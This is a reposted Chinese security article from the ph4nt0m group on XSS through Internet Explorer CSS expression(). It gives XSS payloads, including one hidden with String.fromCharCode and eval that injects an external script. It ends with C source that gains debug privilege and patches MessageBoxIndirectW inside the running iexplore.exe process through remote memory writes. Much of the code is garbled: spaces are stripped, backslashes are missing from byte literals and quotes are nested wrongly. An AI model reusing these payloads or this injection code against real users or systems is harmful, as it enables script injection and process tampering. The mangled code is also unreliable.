我和expression的日与被日 经典分析
我和expression的日与被日 经典分析
发布时间:2016-12-29 来源:查字典编辑
摘要:byjno2007-11-29http://www.ph4nt0m.org当你第一次用expression方式来xss时,你肯定傻眼了,不停...

byjno

2007-11-29

http://www.ph4nt0m.org

当你第一次用expression方式来xss时,你肯定傻眼了,不停弹框,没法关闭浏览器,最终你只能祭出任务管理器将进程结束。也许你其他TAB页正有填到一半尚未提交的表单,你就这样被expression给日了,心里非常郁闷,于是就要想办法干它。

很多人第一反应就是cookie,没错这是个好办法:

<divstyle="width:expression(if(document.cookie.indexOf('xxxx')<0){alert(1);document.cookie='xxxx=1;'+document.cookie;})"></div>

不过这样写有个问题,就是被攻击者浏览器只能执行一次你的alert,cookie的作用域大于一次页面执行,适合用来做跨页面的标识,而不是仅仅用来控制一个页面里的某段代码的执行次数,而且你测试起来也挺麻烦,弄得不好就要清cookie。

循着这个思路很自然就会想到在页面里设置标识,于是就有了第二种方法:

<divstyle="width:expression(if(!window.xxx){alert(1);window.xxx=1;})"></div>

使用全局变量来做标识,使我的代码在这个页面级别只执行一次,这样是一个比较完美的办法,也是目前被使用的最多的办法。

但是到这里总还觉得不爽,虽然我的alert只被执行了一次,但是判断代码还是在被不停的执行,我们还是在被它日,只不过感觉不出来而已了,我们的目标是日它,办法就是执行完我们的代码后删除这条expression,翻阅MSDN你很快能找到合适的方法:

object.style.removeExpression(sPropertyName)

看起来很美,可是你把这个语句放进expression内部用它来删除expression自身却怎么也不能成功,该死的alert还是会一遍遍的弹出来。使用setTimeout延迟执行?失败;使用execScript在全局执行?失败;结合setTimeout和execScript在延迟在全局执行?还是失败;在body尾部append一个外部script来执行?失败;在body尾部append一个外部script并且setTimeout延迟并且execScript全局执行?草,终于tmd成功了:

<--1.htm------>

<html>

<style>

body{

width:expression(eval(String.fromCharCode(0x61,0x6C,0x65,0x72,0x74,0x28,0x31,0x29,0x3B,0x69,0x66,0x28,0x64,0x6F,0x63,0x75,0x6D,0x65,0x6E,0x74,0x2E,0x62,0x6F,0x64,0x79,0x29,0x7B,0x76,0x61,0x72,0x20,0x73,0x3D,0x64,0x6F,0x63,0x75,0x6D,0x65,0x6E,0x74,0x2E,0x63,0x72,0x65,0x61,0x74,0x65,0x45,0x6C,0x65,0x6D,0x65,0x6E,0x74,0x28,0x22,0x73,0x63,0x72,0x69,0x70,0x74,0x22,0x29,0x3B,0x64,0x6F,0x63,0x75,0x6D,0x65,0x6E,0x74,0x2E,0x62,0x6F,0x64,0x79,0x2E,0x61,0x70,0x70,0x65,0x6E,0x64,0x43,0x68,0x69,0x6C,0x64,0x28,0x73,0x29,0x3B,0x73,0x2E,0x73,0x72,0x63,0x3D,0x22,0x31,0x2E,0x6A,0x73,0x22,0x3B,0x7D)));

/*alert(1);if(document.body){vars=document.createElement("script");document.body.appendChild(s);s.src="1.js";}*/

}

</style>

<body>

</body>

</html>

//--------1.js---------//

setTimeout(function(){execScript("document.body.style.removeExpression("width")");},0);

可是还有那么一点不完美,就是无论怎么样,最少也要执行两次,不过我爽了,总算把这个expression给日了。当然如果你是个完美主义者,可以用这个方法结合if(!window.xxx)法。

各位看官看到这里,可能已经严重怀疑我是被虐狂,这么多方法测试下来,我还不弹框框弹到崩溃?其实我并非浪得虚名,测之前早有准备,先厚者脸皮去幻影邮件列表跪求alert框框原理,没想到大家非常热情地给予帮助,最终zzzevazzz大侠最先找到实现API是MessageBoxIndirectW,从win2k源代码中觅得。然后又花上半日工夫草成一个hookMessageBoxIndirectW的小工具,可惜又遇到个小问题至今没有解决,这个函数的参数是个MSGBOXPARAMS结构体:

typedefstruct{

UINTcbSize;

HWNDhwndOwner;

HINSTANCEhInstance;

LPCTSTRlpszText;

LPCTSTRlpszCaption;

DWORDdwStyle;

LPCTSTRlpszIcon;

DWORD_PTRdwContextHelpId;

MSGBOXCALLBACKlpfnMsgBoxCallback;

DWORDdwLanguageId;

}MSGBOXPARAMS,*PMSGBOXPARAMS;

我写了个小程序测试发现只要把hwndOwner和dwStyle都置为0,这个对跨框就不是模态的,父窗口点关闭也可以关闭程序,我hook的目的也在于此,可是在IE里具体测试的时候,发现即使对话框不是模态的,我点关闭IE按钮也没法关闭IE窗口,所以这个方法只针对有TAB页的IE7有意义,对话框非模态后,我可以切换到其他TAB页去并关闭弹框的TAB页,但是对于IE6来说不能点关闭就没有意义,于是我干脆也不修改什么参数了,直接把这个函数返回掉了,代码在最后附上。

至此,我和expression的恩怨总算可以告一段落,整个世界清静了。

/*

*FileName:IEAlertPatch.c

*Version:1.0

*Contact:luoluonet@yahoo.cn

*P.S:ThankszzzEVAzzz,hefoundouttheAPIthatalertuses.

*/

#include<Windows.h>

#include<Tlhelp32.h>

#include<Imagehlp.h>

#pragmacomment(lib,"advapi32.lib")

//

//functionprototype

//

DWORDWINAPIGetProcessIdByName(LPCTSTRlpProcessName);

__inlineHookProc();

BOOLWINAPIHookAlert(DWORDpId);

LPVOIDGetSC(LPVOIDlpProc,DWORD*dwLen,DWORDdwReserved);

//

//startofwinmain

//

intAPIENTRYWinMain(HINSTANCEhInstance,HINSTANCEhPreInstance,LPSTRlpCmdLine,intnCmdShow)

{

DWORDpId;

OSVERSIONINFOEXosvi;

BOOLbRet;

TCHARprocName[]=TEXT("iexplore.exe");

ZeroMemory(&osvi,sizeof(OSVERSIONINFOEX));

osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);

//

//Getsystemversion

//

bRet=GetVersionEx((OSVERSIONINFO*)&osvi);

if(!bRet)

{

osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);

bRet=GetVersionEx((OSVERSIONINFO*)&osvi);

if(!bRet)

gotoFreeAndExit;

}

//VerifyifitisNTsystem

if(osvi.dwPlatformId==VER_PLATFORM_WIN32_NT)

{

pId=GetProcessIdByName(procName);

if(pId!=0)

HookAlert(pId);

}

FreeAndExit:

return0;

}

//

//EndofWinMain

//

//

//@Name:GetProcessIdByName

//@Author:luoluo

//@Time:2005-04-17

//@Param:lpProcessNamespacifiestheProcessName

//@Ret:ifsuccess,returntheprocessid

//iffailed,return0

//

DWORDWINAPIGetProcessIdByName(LPCTSTRlpProcessName)

{

HANDLEhSnapshot;

DWORDdwRet=0;

LPPROCESSENTRY32pPe32;

BOOLbRet;

//Getalltheprocessesinthesnapshot

hSnapshot=CreateToolhelp32Snapshot(0x00000002,0);

if(hSnapshot==INVALID_HANDLE_VALUE)

{

gotoFreeAndExit;

}

pPe32=(LPPROCESSENTRY32)malloc(sizeof(PROCESSENTRY32));

ZeroMemory(pPe32,sizeof(PROCESSENTRY32));

pPe32->dwSize=sizeof(PROCESSENTRY32);

//Getthefirstprocess

bRet=Process32First(hSnapshot,pPe32);

if(!bRet)

{

gotoFreeAndExit;

}

if(stricmp(lpProcessName,pPe32->szExeFile)==0)

{

dwRet=pPe32->th32ProcessID;

gotoFreeAndExit;

}

//Travesaltheleftprocesses

while(TRUE)

{

bRet=Process32Next(hSnapshot,pPe32);

if(!bRet)

{

gotoFreeAndExit;

}

if(stricmp(lpProcessName,pPe32->szExeFile)==0)

{

dwRet=pPe32->th32ProcessID;

gotoFreeAndExit;

}

}

FreeAndExit:

if(pPe32!=NULL)free(pPe32);

if(hSnapshot!=NULL)CloseHandle(hSnapshot);

returndwRet;

}

__inline__declspec(naked)HookProc()

{

__asm

{

leave

retn4

/*

pushesi

movesi,[ebp+8h]

movdwordptr[esi+4h],0h//modifythehwnd

movdwordptr[esi+14h],0h//modifythetype

popesi

*/

_emit90h

_emit90h

_emit90h

_emit90h

}

}

LPVOIDGetSC(LPVOIDlpProc,DWORD*dwLen,DWORDdwReserved)

{

LPVOIDlpProc1=NULL;

LPVOIDlpSC=NULL;

__asm

{

pushebx

movebx,lpProc

decebx

_loop:

incebx

cmpdwordptr[ebx],90909090h

jne_loop

movlpProc1,ebx

popebx

}

*dwLen=(DWORD)lpProc1-(DWORD)lpProc;

lpSC=malloc(*dwLen+dwReserved);

memset(lpSC,0,*dwLen+dwReserved);

memcpy(lpSC,lpProc,*dwLen);

*dwLen+=dwReserved;

returnlpSC;

}

BOOLWINAPIHookAlert(DWORDpId)

{

HMODULEhModule=NULL;

DWORDdwMessageBoxIndirectW=0;

HANDLEhProcess;

HANDLEhToken;

TOKEN_PRIVILEGEStkp;

BOOLbRet=FALSE;

BOOLbRetVal;

LPVOIDlpCodeMemory;

MEMORY_BASIC_INFORMATIONmbi;

SIZE_TszRet;

DWORDdwOldProtect;

DWORDdwJmpOffset=0;

unsignedcharszJmpCode[5]={0};

unsignedcharszOldCode[5]={0};

LPVOIDlpHookCode=NULL;

DWORDdwHookCodeLen=0;

hModule=LoadLibrary("user32.dll");

dwMessageBoxIndirectW=(DWORD)GetProcAddress(hModule,"MessageBoxIndirectW");

lpHookCode=GetSC(&HookProc,&dwHookCodeLen,10);

if(lpHookCode==NULL)

{

gotoFreeAndExit;

}

//Openprocesstokentoajustprivileges

bRetVal=OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken);

if(!bRetVal)

{

gotoFreeAndExit;

}

//GettheLUIDfordebugprivilege

bRetVal=LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tkp.Privileges[0].Luid);

if(!bRetVal)

{

gotoFreeAndExit;

}

tkp.PrivilegeCount=1;

tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

//Adjusttokenprivileges

bRetVal=AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(&tkp),(PTOKEN_PRIVILEGES)NULL,0);

if(!bRetVal)

{

gotoFreeAndExit;

}

//Openremoteprocess

hProcess=OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ|PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION,FALSE,pId);

if(hProcess==NULL)

{

gotoFreeAndExit;

}

//Read5bytefromfunctiontobehooked

bRetVal=ReadProcessMemory(hProcess,(LPCVOID)dwMessageBoxIndirectW,szOldCode,sizeof(szOldCode),NULL);

if(!bRetVal)

{

gotoFreeAndExit;

}

//Allocatememoryfromremoteprocess

lpCodeMemory=VirtualAllocEx(hProcess,NULL,dwHookCodeLen,MEM_COMMIT,PAGE_EXECUTE_READWRITE);

if(lpCodeMemory==NULL)

{

gotoFreeAndExit;

}

//Querythepageinformation

ZeroMemory(&mbi,sizeof(MEMORY_BASIC_INFORMATION));

szRet=VirtualQueryEx(hProcess,lpCodeMemory,&mbi,sizeof(MEMORY_BASIC_INFORMATION));

if(szRet==0)

{

gotoFreeAndExit;

}

//Modifythepageprotectionforwrite

bRetVal=VirtualProtectEx(hProcess,mbi.BaseAddress,mbi.RegionSize,PAGE_EXECUTE_READWRITE,&mbi.Protect);

if(!bRetVal)

{

gotoFreeAndExit;

}

//thefunctionhasbeenhooked

if(szOldCode[0]==((unsignedchar)'xE9'))

{

dwJmpOffset=(*((int*)(szOldCode+1)))+dwMessageBoxIndirectW+5-((DWORD)lpCodeMemory)-dwHookCodeLen+5;

memcpy(szOldCode+1,(LPVOID)(&dwJmpOffset),4);

}

//debuggerpresentandbreakpointhere

if(szOldCode[0]=='xCC')

{

gotoFreeAndExit;

}

//copythestartcodeoffuncitonhookedtotheendofhookcode

memcpy((LPVOID)(((DWORD)lpHookCode)+dwHookCodeLen-10),szOldCode,sizeof(szOldCode));

//codejmpbacktofunctionhooked

memset((LPVOID)(((DWORD)lpHookCode)+dwHookCodeLen-5),'xE9',1);

dwJmpOffset=dwMessageBoxIndirectW-((DWORD)lpCodeMemory)-dwHookCodeLen+5;

memcpy((LPVOID)(((DWORD)lpHookCode)+dwHookCodeLen-4),(LPVOID)(&dwJmpOffset),4);

//Writemycodetoremoteprocessmemory

bRetVal=WriteProcessMemory(hProcess,lpCodeMemory,lpHookCode,dwHookCodeLen,0);

if(!bRetVal)

{

VirtualFreeEx(hProcess,lpCodeMemory,dwHookCodeLen,MEM_RELEASE);

gotoFreeAndExit;

}

//Modifythepageprotectiontoprotect

bRetVal=VirtualProtectEx(hProcess,mbi.BaseAddress,mbi.RegionSize,mbi.Protect,&dwOldProtect);

if(!bRetVal)

{

gotoFreeAndExit;

}

//hookcode

szJmpCode[0]='xE9';//jmp

dwJmpOffset=((DWORD)lpCodeMemory)-dwMessageBoxIndirectW-5;

memcpy(szJmpCode+1,(LPVOID)(&dwJmpOffset),4);

//Querythepageinformation

ZeroMemory(&mbi,sizeof(MEMORY_BASIC_INFORMATION));

szRet=VirtualQueryEx(hProcess,(LPVOID)dwMessageBoxIndirectW,&mbi,sizeof(MEMORY_BASIC_INFORMATION));

if(szRet==0)

{

gotoFreeAndExit;

}

//Modifythepageprotectionforwrite

bRetVal=VirtualProtectEx(hProcess,mbi.BaseAddress,mbi.RegionSize,PAGE_EXECUTE_READWRITE,&mbi.Protect);

if(!bRetVal)

{

gotoFreeAndExit;

}

//Writehookcodetothefunctontobehooked

bRetVal=WriteProcessMemory(hProcess,(LPVOID)dwMessageBoxIndirectW,szJmpCode,sizeof(szJmpCode),0);

if(!bRetVal)

{

gotoFreeAndExit;

}

//Modifythepageprotectiontoprotect

bRetVal=VirtualProtectEx(hProcess,mbi.BaseAddress,mbi.RegionSize,mbi.Protect,&dwOldProtect);

if(!bRetVal)

{

gotoFreeAndExit;

}

FreeAndExit:

if(hProcess!=NULL)

{

CloseHandle(hProcess);

}

if(hToken!=NULL)

{

CloseHandle(hToken);

}

if(lpHookCode!=NULL)

{

free(lpHookCode);

lpHookCode=NULL;

}

returnbRet;

}

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新黑客相关学习
热门黑客相关学习
编程开发子分类